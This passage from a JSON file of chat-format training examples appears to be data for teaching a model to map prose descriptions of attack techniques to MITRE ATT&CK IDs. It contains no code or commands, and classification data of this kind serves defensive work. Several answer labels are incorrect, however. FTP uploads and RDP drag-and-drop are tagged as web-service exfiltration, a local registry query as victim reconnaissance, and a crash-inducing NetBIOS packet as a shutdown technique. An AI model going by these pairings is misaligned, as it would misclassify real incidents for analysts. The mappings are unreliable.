                "content": "The malware reads an authentication cookie from a browser session and uses it to authenticate API calls as the victim."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker generates a new cloud account through the Azure portal and assigns the Owner role."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes reading /proc/<pid>/fd/ to locate file descriptors holding credential blobs."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique consists of calling control.exe with arguments that cause execution of a malicious script hidden in the temp directory."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries write plaintext service account passwords to the registry key HKCU\\\\Environment\\\\MyCreds to persist credential access."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performed remote service exploitation by sending crafted packets to the target's MySQL service."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves creating a hidden directory in the Windows Temp folder and using it to stage additional tools."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves planting decoy configuration files filled with random data to hide the real malicious settings."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the system's Python environment to run a script that enumerates running processes and logs output."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan communicates with its C2 server via WebSocket connections over port 443."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages remote desktop to navigate shared folders and manually copy financial statements to a USB drive."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a file system saturation attack by creating thousands of temporary files, filling the endpoint's storage and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Payload scans for and copies recent video files from the user's Videos folder before exfiltrating."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs data staging by moving stolen credentials to a temporary SQLite database on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes a zero-day exploit to take advantage of a previously unknown vulnerability in a software application and gain unauthorized access to sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware automatically compresses files and uploads them to a remote FTP server every hour."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware performs a reverse DNS lookup on the IP address of the victim's gateway to discover a control server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a persistent connection to a victim's Windows Server via Amazon WorkSpaces, allowing continuous remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor disables firewalls and opens port 3389 to enable remote desktop connections for later use."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised network, the threat actor injects a malicious PXE boot file through TFTP to take control of the target system."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform VBA stomping by replacing benign macro code with malicious code to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a server‑side rule in Office 365 that forwards copies of all incoming messages to an attacker‑controlled email address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a stolen Azure AD service principal token to authenticate and download sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors saved keylogs to a network printer's internal storage and later collected the printed pages."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion to extract the OS build and edition information."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets the process priority to real-time and disables interrupt handling, so the malicious process cannot be stopped by normal means."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary harvests digital certificates from online registries like Censys and Shodan to discover valid subdomains."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack where the adversary compromised a CI/CD system, embedding a credential‑stealing script into the deployment artifacts."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a multi‑stage attack, the actor sets the \"System unattended sleep timeout\" to 0 via Group Policy, effectively disabling automatic sleep when no user is logged in."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group infiltrated the Salesforce dashboard using stolen credentials and exported the entire customer database."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group compromised the update server of a critical infrastructure vendor and delivered a compromised firmware update to critical systems worldwide."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages an undocumented API in a serverless platform to bypass security controls and gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the remote desktop protocol (RDP) to drag-and-drop files to an external system."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts a service account's NTLM hash and crafts a forged Kerberos service ticket to gain unauthorized access to a specific server."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issued Terraform scripts targeting AWS resources to alter security group rules, effectively opening inbound ports to the internet."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script modifies the user’s startup folder to include a shortcut that launches PowerPoint.exe with a malicious payload on system boot."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters the syslog configuration to redirect security alerts to a non‑existent log file."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT malware extracts configuration data from a compromised Docker daemon's config.json file, revealing registry authentication details."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder abuses the 'nohup' command in the Unix shell to persist a background process."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor embeds a backdoor within a PDF file by modifying the file's metadata, allowing the payload to be retrieved during normal document viewing."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker implants a stealthy web shell disguised as an image file, later using it to issue shell commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a deceptive HTML landing page that leverages the <script> tag to fetch a remote binary and execute it silently on the client machine."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary executed a Python script that scanned the network for SMB shares and harvested files."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads credential pairs from a leaked database and submits them to the login API of an online retailer until a match is found."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up a web service for one-way data transfer, sending periodic exfiltration packets via HTTPS POST while ignoring any inbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Mimikatz to extract plaintext passwords from the Windows LSASS process memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a batch script that searched for *.pst, *.ost, *.mbx, and compressed them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script invokes 'launchctl bootstrap' to install a persistent malicious agent in the user's LaunchAgents directory."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through SNMP community string abuse, the attacker harvested MIB data to reconstruct the system's configuration repository."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a DNS query for a domain that includes a timestamp, receiving a different IP based on the time of day."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the authentication policy on the domain controller, lowering the security requirements for user credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the Fodhelper.exe auto-elevation bug, the adversary runs a PowerShell script as SYSTEM without user consent."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes \"service -l\" on a Linux machine to list active daemons and their configurations."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use serverless event triggers to automatically run malicious scripts when specific cloud events occur."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion exploited a misconfigured Azure Blob storage container with anonymous read access to harvest sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs an in-memory extraction of security tokens by targeting the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves delivering malicious binaries via HTML pages that assemble the payload in memory via client‑side scripting."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SSH tunneling is leveraged to forward ports and exfiltrate data from the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a crafted NetBIOS packet that exploits a vulnerability, causing the victim's computer to restart unexpectedly."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised business associate’s email account is used to send phishing emails that appear to come from a trusted source."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated tool cycles through possible PIN codes on a mobile device to unlock it."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host starts a hidden virtual machine where the main malicious operations are performed."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows API EnumProcesses to retrieve a list of all active processes on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employed a wrapper that dynamically rewrites the malware binary, stripping out any static signatures that analysts might use for identification."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign deploys a payload that accesses the Chrome password manager and uploads the decrypted passwords to an external server."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages WMI event subscriptions to persist code that resides solely in memory, avoiding any file artifacts."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor sets up a dynamic proxy chain, automatically selecting compromised hosts to act as intermediate proxies for each new C2 session."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a packing routine that removes all optional sections from the payload before deployment."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encodes data and commits it to a remote GitLab repository using the repository's API."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform WHOIS lookups on the victim’s domain to discover registrant information and related domains."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling regsvcs.exe with a crafted assembly, the malicious actor bypasses security controls and executes arbitrary code on the host."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary tool checks for the presence of a physical mouse device by reading HID descriptors and will not proceed if only virtual input devices are detected."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a remote desktop session, the intruder injects altered screen data to mislead the user and capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts and reuses CSRF tokens from a victim's browser to perform unauthorized actions on their behalf."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder modifies the auto-scaling policies of cloud compute resources, causing over-provisioning to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses steganographic techniques to embed a payload within a Word document's embedded objects, which are later accessed by a macro."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts credentials from application configuration files such as web.config and appsettings.json on compromised Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
